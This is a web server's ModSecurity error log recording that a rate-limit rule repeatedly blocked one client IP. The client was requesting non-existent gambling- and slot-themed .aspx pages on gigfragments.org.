[Sun Feb 01 23:28:08.482721 2026] [:error] [pid 10509:tid 10574] [client 91.65.123.43:8924] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aX9xCFMNpJBihOJgwVsmwwAAAIM"]
[Sun Feb 01 23:28:10.720277 2026] [:error] [pid 29578:tid 29593] [client 91.65.123.43:10583] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aX9xCkwa4IUBrS8Q04HQ0wAAAYs"]
[Sun Feb 01 23:28:12.789657 2026] [:error] [pid 2033:tid 2052] [client 91.65.123.43:62022] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aX9xDPF7B4oR5nK3T_M1cgAAARE"]
[Sun Feb 01 23:28:14.996297 2026] [:error] [pid 41454:tid 41471] [client 91.65.123.43:44736] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aX9xDoSGhfKfZM9FAk3D-gAAAc8"]
[Sun Feb 01 23:28:17.234951 2026] [:error] [pid 10508:tid 10550] [client 91.65.123.43:13257] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aX9xEQFwdoMQv5EWp9uIQwAAAEY"]
[Sun Feb 01 23:28:19.476734 2026] [:error] [pid 29578:tid 29587] [client 91.65.123.43:44663] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aX9xE0wa4IUBrS8Q04HQ3QAAAYU"]
[Sun Feb 01 23:28:21.542277 2026] [:error] [pid 10508:tid 10544] [client 91.65.123.43:6802] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aX9xFQFwdoMQv5EWp9uISAAAAEA"]
[Sun Feb 01 23:28:23.616812 2026] [:error] [pid 10508:tid 10563] [client 91.65.123.43:60341] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aX9xFwFwdoMQv5EWp9uITQAAAFM"]
[Sun Feb 01 23:28:25.696161 2026] [:error] [pid 51610:tid 51634] [client 91.65.123.43:48965] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aX9xGd7GFdNFAqImMQA_rwAAAVQ"]
[Sun Feb 01 23:28:27.908794 2026] [:error] [pid 2033:tid 2049] [client 91.65.123.43:56071] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aX9xG_F7B4oR5nK3T_M1eAAAAQ4"]
[Sun Feb 01 23:28:30.171133 2026] [:error] [pid 41454:tid 41459] [client 91.65.123.43:7305] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aX9xHoSGhfKfZM9FAk3ECgAAAcM"]
[Sun Feb 01 23:28:32.378697 2026] [:error] [pid 29578:tid 29588] [client 91.65.123.43:43208] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aX9xIEwa4IUBrS8Q04HQ6AAAAYY"]
[Sun Feb 01 23:28:34.467421 2026] [:error] [pid 10506:tid 10522] [client 91.65.123.43:11963] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aX9xIq32IC2Db4uwFyPRmQAAAAY"]
[Sun Feb 01 23:28:36.688473 2026] [:error] [pid 10506:tid 10539] [client 91.65.123.43:54370] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aX9xJK32IC2Db4uwFyPRmwAAABc"]
[Sun Feb 01 23:28:38.799381 2026] [:error] [pid 41454:tid 41476] [client 91.65.123.43:50062] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aX9xJoSGhfKfZM9FAk3EFAAAAdQ"]
[Sun Feb 01 23:28:40.977472 2026] [:error] [pid 10508:tid 10549] [client 91.65.123.43:43748] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aX9xKAFwdoMQv5EWp9uIYQAAAEU"]
[Sun Feb 01 23:28:43.183441 2026] [:error] [pid 10616:tid 10635] [client 91.65.123.43:64058] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aX9xK2d8pZdmVx6pUp4StQAAAM8"]
[Sun Feb 01 23:28:45.409389 2026] [:error] [pid 10616:tid 10633] [client 91.65.123.43:22475] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aX9xLWd8pZdmVx6pUp4StgAAAM0"]
[Sun Feb 01 23:28:47.621679 2026] [:error] [pid 29578:tid 29587] [client 91.65.123.43:12095] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aX9xL0wa4IUBrS8Q04HQ_AAAAYU"]
[Sun Feb 01 23:28:49.826622 2026] [:error] [pid 10509:tid 10585] [client 91.65.123.43:31225] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aX9xMVMNpJBihOJgwVsm9wAAAI4"]
[Sun Feb 01 23:28:52.040094 2026] [:error] [pid 51610:tid 51623] [client 91.65.123.43:39876] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aX9xNN7GFdNFAqImMQA_vwAAAUk"]
[Sun Feb 01 23:28:53.974380 2026] [:error] [pid 2033:tid 2069] [client 91.65.123.43:58193] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aX9xNfF7B4oR5nK3T_M1kAAAARg"]
[Sun Feb 01 23:29:30.784285 2026] [:error] [pid 10616:tid 10640] [client 91.65.123.43:50857] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aX9xWmd8pZdmVx6pUp4S4wAAANQ"]
[Sun Feb 01 23:29:32.820481 2026] [:error] [pid 29578:tid 29594] [client 91.65.123.43:64122] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aX9xXEwa4IUBrS8Q04HRIgAAAYw"]
[Sun Feb 01 23:29:34.895117 2026] [:error] [pid 10508:tid 10565] [client 91.65.123.43:43916] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aX9xXgFwdoMQv5EWp9uIlAAAAFU"]
[Sun Feb 01 23:29:37.137969 2026] [:error] [pid 10506:tid 10537] [client 91.65.123.43:14515] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aX9xYa32IC2Db4uwFyPRygAAABU"]
[Sun Feb 01 23:29:39.356421 2026] [:error] [pid 10509:tid 10587] [client 91.65.123.43:34080] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aX9xY1MNpJBihOJgwVsnPAAAAJA"]
[Sun Feb 01 23:29:41.571941 2026] [:error] [pid 10509:tid 10580] [client 91.65.123.43:37759] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aX9xZVMNpJBihOJgwVsnPgAAAIk"]
[Sun Feb 01 23:29:43.617308 2026] [:error] [pid 10509:tid 10591] [client 91.65.123.43:55114] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aX9xZ1MNpJBihOJgwVsnQgAAAJQ"]
[Sun Feb 01 23:29:45.551859 2026] [:error] [pid 10509:tid 10573] [client 91.65.123.43:64107] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aX9xaVMNpJBihOJgwVsnSAAAAII"]
[Sun Feb 01 23:29:47.731429 2026] [:error] [pid 2033:tid 2043] [client 91.65.123.43:52513] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aX9xa_F7B4oR5nK3T_M1qgAAAQg"]
[Sun Feb 01 23:29:49.643275 2026] [:error] [pid 10508:tid 10559] [client 91.65.123.43:60058] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aX9xbQFwdoMQv5EWp9uInwAAAE8"]
[Sun Feb 01 23:29:51.858878 2026] [:error] [pid 10508:tid 10544] [client 91.65.123.43:35724] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aX9xbwFwdoMQv5EWp9uIogAAAEA"]
[Sun Feb 01 23:29:54.084634 2026] [:error] [pid 2033:tid 2036] [client 91.65.123.43:19076] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aX9xcvF7B4oR5nK3T_M1sAAAAQE"]
[Sun Feb 01 23:29:56.265033 2026] [:error] [pid 10506:tid 10528] [client 91.65.123.43:45714] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aX9xdK32IC2Db4uwFyPR1gAAAAw"]
[Sun Feb 01 23:29:58.495355 2026] [:error] [pid 10506:tid 10540] [client 91.65.123.43:65208] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aX9xdq32IC2Db4uwFyPR3AAAABg"]
[Sun Feb 01 23:30:00.565497 2026] [:error] [pid 10508:tid 10551] [client 91.65.123.43:58939] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aX9xeAFwdoMQv5EWp9uIrAAAAEc"]
[Sun Feb 01 23:30:02.773358 2026] [:error] [pid 10508:tid 10555] [client 91.65.123.43:60578] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aX9xegFwdoMQv5EWp9uIswAAAEs"]
[Sun Feb 01 23:30:04.961898 2026] [:error] [pid 10616:tid 10622] [client 91.65.123.43:11889] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aX9xfGd8pZdmVx6pUp4S9QAAAMI"]
[Sun Feb 01 23:30:07.006112 2026] [:error] [pid 41454:tid 41466] [client 91.65.123.43:54749] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aX9xf4SGhfKfZM9FAk3ENwAAAco"]
[Sun Feb 01 23:30:08.951500 2026] [:error] [pid 10508:tid 10559] [client 91.65.123.43:47889] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aX9xgAFwdoMQv5EWp9uIvAAAAE8"]
[Sun Feb 01 23:30:11.124430 2026] [:error] [pid 10509:tid 10571] [client 91.65.123.43:57635] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aX9xg1MNpJBihOJgwVsnZwAAAIA"]
[Sun Feb 01 23:30:13.316852 2026] [:error] [pid 10508:tid 10544] [client 91.65.123.43:12615] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aX9xhQFwdoMQv5EWp9uIvwAAAEA"]
[Sun Feb 01 23:30:15.535112 2026] [:error] [pid 10508:tid 10547] [client 91.65.123.43:58403] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aX9xhwFwdoMQv5EWp9uIwQAAAEM"]
[Sun Feb 01 23:30:17.726345 2026] [:error] [pid 2033:tid 2052] [client 91.65.123.43:13056] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aX9xifF7B4oR5nK3T_M1xAAAARE"]
[Sun Feb 01 23:30:19.915686 2026] [:error] [pid 10508:tid 10561] [client 91.65.123.43:46134] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aX9xiwFwdoMQv5EWp9uIxwAAAFE"]
[Sun Feb 01 23:30:21.924636 2026] [:error] [pid 10616:tid 10639] [client 91.65.123.43:45180] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aX9xjWd8pZdmVx6pUp4S_wAAANM"]
[Sun Feb 01 23:30:23.849203 2026] [:error] [pid 10509:tid 10581] [client 91.65.123.43:61837] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aX9xj1MNpJBihOJgwVsnegAAAIo"]
[Sun Feb 01 23:30:25.725288 2026] [:error] [pid 10508:tid 10546] [client 91.65.123.43:32343] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aX9xkQFwdoMQv5EWp9uIywAAAEI"]
[Sun Feb 01 23:31:02.162186 2026] [:error] [pid 10509:tid 10592] [client 91.65.123.43:53954] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aX9xtlMNpJBihOJgwVsnxAAAAJU"]
[Sun Feb 01 23:31:04.364392 2026] [:error] [pid 10506:tid 10518] [client 91.65.123.43:51286] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aX9xuK32IC2Db4uwFyPR_QAAAAI"]
[Sun Feb 01 23:31:06.372572 2026] [:error] [pid 41454:tid 41459] [client 91.65.123.43:5510] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aX9xuoSGhfKfZM9FAk3EXQAAAcM"]
[Sun Feb 01 23:31:08.393796 2026] [:error] [pid 2033:tid 2037] [client 91.65.123.43:13621] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aX9xvPF7B4oR5nK3T_M15QAAAQI"]
[Sun Feb 01 23:31:10.593033 2026] [:error] [pid 10508:tid 10553] [client 91.65.123.43:48541] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aX9xvgFwdoMQv5EWp9uI6AAAAEk"]
[Sun Feb 01 23:31:12.606382 2026] [:error] [pid 10508:tid 10555] [client 91.65.123.43:59056] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aX9xwAFwdoMQv5EWp9uI6gAAAEs"]
